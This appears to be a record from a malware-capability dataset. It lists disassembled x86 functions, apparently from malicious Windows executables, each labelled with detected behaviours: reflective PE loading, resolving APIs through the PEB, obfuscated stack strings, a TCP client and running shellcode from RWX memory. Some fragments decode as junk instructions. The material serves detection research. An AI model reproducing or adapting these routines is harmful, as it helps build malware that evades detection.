joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3001d53c
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [esp + 4]
xor eax, eax
test ecx, ecx
je 0x3001d561
cmp ecx, 0xffffffff
je 0x3001d561
cmp word [ecx], 0x5a4d
jne 0x3001d561
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
je 0x3001d561
xor eax, eax
ret 4

Function at 0x3001d564
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 4]
movzx eax, word [ecx + 0x14]
lea eax, [eax + ecx + 0x18]
movzx ecx, word [ecx + 6]
push esi
xor esi, esi
test ecx, ecx
push edi
jbe 0x3001d598
mov edx, dword [eax + 0xc]
cmp dword [esp + 0x14], edx
jb 0x3001d590
mov edi, dword [eax + 0x10]
add edi, edx
cmp dword [esp + 0x14], edi
jb 0x3001d59a
add eax, 0x28
inc esi
cmp esi, ecx
jb 0x3001d57c
xor eax, eax
pop edi
pop esi
ret 0xc

Function at 0x3001d8bd
Capabilities:
Create thread
Resume thread
Suspend thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x30001e28
push 0x30021bbe
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5b4
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x20]
push eax
push ebx
push ebx
push 0x3001d8bb
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [ebp - 0x24], eax
cmp eax, ebx
jne 0x3001d90c
xor eax, eax
jmp 0x3001d9c9
push dword [ebp - 0x20]
push ebx
push 0x1f03ff
call fcn.3001d84b
mov dword [ebp - 0x28], eax
cmp eax, ebx
jne 0x3001d926
mov dword [ebp - 0x2c], ebx
jmp 0x3001d995
mov dword [ebp - 4], ebx
push eax
call dword [sym.imp.KERNEL32.DLL_SuspendThread]
mov dword [ebp - 0x1c], eax
cmp eax, 0xffffffff
je 0x3001d98e
mov edi, 0x10007
mov dword [ebp - 0x2f8], edi
lea eax, [ebp - 0x2f8]
push eax
push dword [ebp - 0x28]
mov esi, dword [sym.imp.KERNEL32.DLL_GetThreadContext]
call esi
mov dword [ebp - 0x2c], eax
cmp eax, ebx
je 0x3001d991
mov dword [ebp - 0x5c4], edi
lea eax, [ebp - 0x5c4]
push eax
push dword [ebp - 0x24]
call esi
mov dword [ebp - 0x2c], eax
cmp eax, ebx
je 0x3001d991
mov eax, dword [ebp - 0x240]
cmp eax, dword [ebp - 0x50c]
je 0x3001d991
jmp 0x3001d98e
mov dword [ebp - 0x2c], ebx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1c], ebx
jle 0x3001d9a3
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
push 0xdead
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
push dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
cmp dword [ebp - 0x28], ebx
je 0x3001d9c6
push dword [ebp - 0x28]
call esi
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x3001ddce
Capabilities:
Contain obfuscated stackstrings

Disassembly:
in al, dx
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.3001dacd
push cs
jl 0x3001de7d
in al, 0x8d
inc ebp
rcl byte [eax - 0x18], 0xc5
cld
invalid
jne 0x3001de87
call fcn.3001da92
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.3001dadd
push eax
push esi
push dword [ebp + 8]
call fcn.3001da92
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.3001dadd
push eax
push esi
push dword [ebp + 8]
call fcn.3001da92
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.3001dacd
sbb eax, 0x9d880cb6
jl 0x3001df52
invalid
invalid
Function at 0x3001df80
Capabilities:
Contain obfuscated stackstrings
Inspect section memory permissions

Disassembly:
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.3001dacd
mov dword [ecx], esp
push ecx
das
lea eax, [ebp - 0x84]
push eax
call fcn.3001dadd
push eax
push esi
push dword [ebp + 8]
call fcn.3001da92
add esp, 0x10
mov dword [ebp - 0xc0], eax
push 0x40
push 0x1000
push dword [ebp + 0xc]
push ebx
call dword [ebp - 0x88]
mov esi, eax
cmp esi, ebx
je 0x3001e2c6
push dword [ebp - 0xb4]
push dword [ebp + 0x10]
push esi
call fcn.3001da3e
add esp, 0xc
cmp word [edi + 6], bx
mov dword [ebp + 0xc], ebx
jbe 0x3001e03d
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.3001da3e
add esp, 0xc
inc dword [ebp + 0xc]
mov ax, word [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x3001e00a
call fcn.3001dacd
push ss
mov bh, 0xe
dec ecx
mov edi, dword [esi + 0x3c]
add edi, esi
mov dword [ebp - 0x88], edi
mov eax, dword [edi + 0x80]
cmp eax, ebx
je 0x3001e2bc
add eax, esi
mov dword [ebp - 0x44], eax

Function at 0x3001e0ad
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax + 4], ebx
jne 0x3001e072
cmp dword [eax + 0xc], ebx
je 0x3001e115
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.3001dacd
inc edx
insd dword es:[edi], dx
push ebp
cmp dword [ebp + 0xc], ebx
jne 0x3001e0a1
push edi
call dword [ebp - 0xb8]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x3001e2bc
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax]
cmp eax, ebx
lea edi, [ecx + esi]
xor dword [ebp + 5], esi
mov dword [ebp + 0x10], edi
jmp 0x3001e0ba
add eax, esi
mov dword [ebp + 0x10], eax
call fcn.3001dacd
movsd dword es:[edi], dword [esi]
das
xor byte [ebx + ecx*4 + 0x45], bl
adc byte [ebx + 0x74c33b00], cl
aaa
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x3001e103
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x3001e0de
invalid
and eax, 0xffff
push eax
jmp 0x3001e0e2
add ecx, 2
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.3001da92
add esp, 0xc
cmp edi, ebx
mov dword [edi], eax
je 0x3001e2bc
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x3001e0c3
add dword [ebp - 0x44], 0x14
mov edi, dword [ebp - 0x88]
adc al, 0x8b
mov ebp, 0xffffff78
mov eax, dword [ebp - 0x44]
jmp 0x3001e064
call fcn.3001dacd
outsb dx, byte [esi]
invalid
Function at 0x3001e166
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x3001e181
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x3001e17c
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne fcn.3001e166
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x3001e16e
cmp edx, ebx
jne 0x3001e2bc
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x3001e13d
add eax, dword [eax + 4]
jmp 0x3001e12a
mov dword [ebp + 0xc], ebx
jmp 0x3001e18c
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x3001e1a4
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x3001e1c2
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
clc
add byte [eax], al
invalid
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x3001e220
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x3001e207
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x3001e210
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x3001e21a
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x3001e1fc
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x3001e186
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x3001e26d
dec eax
je 0x3001e264
sub eax, 3
je 0x3001e25b
mov dword [ebp - 4], 0x40
jmp 0x3001e28a
mov dword [ebp - 4], 4
jmp 0x3001e270
mov dword [ebp - 4], 0x20
jmp 0x3001e270
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x3001e2bc
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x3001e23c
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.3001dacd
add edi, dword [ebx + ebx*4 + 0x1475ff40]
push 1
push esi
call edi
mov eax, esi
jmp 0x3001e2c8
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x3001e1bb
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x3001e181
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x3001e17c
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne fcn.3001e166
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x3001e16e
cmp edx, ebx
jne 0x3001e2bc
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x3001e13d
add eax, dword [eax + 4]
jmp 0x3001e12a
mov dword [ebp + 0xc], ebx
jmp 0x3001e18c
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x3001e1a4
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x3001e1c2
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
clc
add byte [eax], al
invalid
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x3001e220
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x3001e207
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x3001e210
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x3001e21a
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x3001e1fc
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x3001e186
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x3001e26d
dec eax
je 0x3001e264
sub eax, 3
je 0x3001e25b
mov dword [ebp - 4], 0x40
jmp 0x3001e28a
mov dword [ebp - 4], 4
jmp 0x3001e270
mov dword [ebp - 4], 0x20
jmp 0x3001e270
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x3001e2bc
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x3001e23c
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.3001dacd
add edi, dword [ebx + ebx*4 + 0x1475ff40]
push 1
push esi
call edi
mov eax, esi
jmp 0x3001e2c8
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x3001e320
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [ebp + 0x4afffffc], esi
mov byte [ebp - 0x34a], 0x46
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.3001dadd
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.3001da92
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
invalid
invalid

Function at 0x3001fc6e
Capabilities:
Access peb ldr_data
Get number of processors
Resolve function by parsing pe exports

Disassembly:
in al, dx
add ebp, 0x24
push esp
call fcn.3001dacd
push cs
sub bh, byte [edx + 0x51]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
cmp byte [eax + 0x1c], 0x18
je 0x3001fc91
xchg esi, eax
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
push eax
call fcn.3001dacd
add eax, 0x8b6842d2
clc
mov eax, dword [edi + 0x3c]
mov edx, dword [edi + eax + 0x78]
add edx, edi
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
call fcn.3001dacd
fbld tbyte [ecx - 0x74b6dc98]
xor al, 0x8b
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x3001fcba
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x3001fcba
call fcn.3001dacd
cmc
cmp al, 0xde
mov ebx, dword [edx + 0x24]
add ebx, edi
mov cx, word [ebx + ecx*2]
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
push eax
call fcn.3001dacd
adc ecx, dword [esi + 0x75ff8945]
or bh, bh
jne 0x3001fd03
push dword [ebp]
call fcn.3001e2cd
add byte [ebp - 0xb6570], cl
inc dword [ebx - 0x79f0f606]
sahf
add byte [eax], al
add byte [ebp - 0xbe670], cl
inc dword [ebx - 0x79f0f706]
pop dword [eax]
add byte [eax], al
lea edx, [eax - 0xc66]
cmp edx, 9
jbe 0x3001fdb5
invalid
lea edx, [eax - 0xce6]
cmp edx, 9
jbe 0x3001fdb5
lea edx, [eax - 0xd66]
cmp edx, 9
jbe 0x3001fdb5
lea edx, [eax - 0xe50]
cmp edx, 9
jbe 0x3001fdbc
lea edx, [eax - 0xed0]
cmp edx, 9
jbe 0x3001fdbc
lea edx, [eax - 0xf20]
cmp edx, 9
jbe 0x3001fdbc
cmp cx, 0xb2
je 0x3001fdb1
cmp cx, 0xb3
je 0x3001fdb1
cmp cx, 0xb9
je 0x3001fdb1
add eax, 0xfffff410
cmp eax, 2
ja 0x3001fdae
cmp cx, 0xbf0
jne 0x3001fd98
mov eax, 0xa
ret
sub cx, 0xbf1
neg cx
sbb ecx, ecx
and ecx, 0x384
add ecx, 0x64
mov eax, ecx
ret
xor eax, eax
ret
and eax, 7
ret
and eax, 0xf
sub eax, 6
ret
and eax, 0xf
ret
Function at 0x3002155d
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
mov esi, ecx
cmp si, 0xffff
push edi
mov dword [ebp - 4], edx
je 0x300215d2
test si, 0x3ff
je 0x300215d2
push dword [ebp + 8]
call fcn.300214e7
test eax, eax
jne 0x300215db
movzx edi, si
mov esi, dword [sym.imp.KERNEL32.DLL_GetLocaleInfoA]
push eax
push eax
push 0x58
push edi
call esi
test eax, eax
je 0x300215db
lea eax, [ebp - 0x24]
push 0x20
push eax
push 0x58
push edi
call esi
and dword [ebp - 0x10], 0
lea edx, [ebp - 0x44]
push 3
lea ecx, [ebp - 0x14]
call fcn.3002145d
test eax, eax
je 0x300215ca
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x44]
mov byte [ecx], al
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x40]
mov dword [ecx], eax
jmp 0x300215db
mov eax, dword [ebp - 4]
mov byte [eax], 1
jmp 0x300215d5
mov byte [edx], 1
mov eax, dword [ebp + 8]
and dword [eax], 0
pop edi
pop esi
leave
ret 4
Function at 0x4019e0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push esi
push edi
mov esi, ecx
push eax
push 0x202
mov dword [esi], 0x4039c0
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 0x4dd70], edi
mov dword [esi + 4], edi
mov ecx, 0x13757
xor eax, eax
lea edi, [esi + 0x10]
mov dword [esi + 8], 0xffffffff
rep stosd dword es:[edi], eax
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret

Function at 0x401b90
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Resolve dns

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
mov esi, ecx
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
jne 0x401bb3
xor eax, eax
pop esi
add esp, 0x10
ret 8
push ebx
mov ebx, dword [esp + 0x20]
push ebp
mov ebp, dword [esp + 0x20]
push edi
push ebp
call dword [sym.imp.WS2_32.dll_gethostbyname]
push ebx
mov edi, eax
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x14]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 8]
push ecx
mov dword [esp + 0x20], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401c16
mov edx, dword [esi + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [esi + 0xc]
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x401bbe
push 0
push 0
push esi
push 0x401c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0x10
ret 8

Function at 0x401d60
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push esi
push 0x40
push 0x3000
push 0x4dd5c
mov esi, ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x401d7d
pop esi
ret
push edi
push 0
push 0
push eax
mov ecx, 0x13757
add esi, 0x4dd74
mov edi, eax
push eax
push 0
push 0
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
mov eax, 1
pop esi
ret
Function at 0x402684
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
invalid

Function at 0x4028fc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jne 0x402916
push dword [ebp + 0x14]
call fcn.00401d43
add esp, 0xc
mov dword [ebp - 0x67c], eax
and byte [ebp - 0x524], 0
invalid
movsd dword es:[edi], dword [esi]

Function at 0x403154
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax], al
push 5
mov eax, dword [ebp - 0x378]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax - 0x1d]
push eax
lea eax, [ebp - 0x394]
push eax
call fcn.00401cef
add esp, 0xc
and dword [ebp - 0x700], 0
jmp 0x40318b
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 5
jge 0x4031d4
invalid
test dword [eax], eax
stc
Function at 0x4045a0
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov edx, ebx
mov eax, esp
call fcn.0040458c
add esp, 0x104
pop ebx
ret

Function at 0x40565c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405695
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403278
jmp 0x40569e
mov eax, ebx
mov edx, esi
call fcn.0040322c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40707c
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40710a
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
jne 0x4070c7
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [ebp - 0x108]
mov eax, esi
call fcn.00403278
jmp 0x4070f4
call sub.kernel32.dll_GetCommandLineA_1
cmp byte [eax], 0
jne 0x4070db
lea eax, [ebp - 4]
call fcn.00403198
jmp 0x4070ea
lea edx, [ebp - 4]
call fcn.00406f40
test ebx, ebx
je 0x4070ea
dec ebx
jmp 0x4070cc
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.0040322c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407111
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x407144
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov edx, ebx
mov eax, esp
call fcn.00405230
add esp, 0x104
pop ebx
ret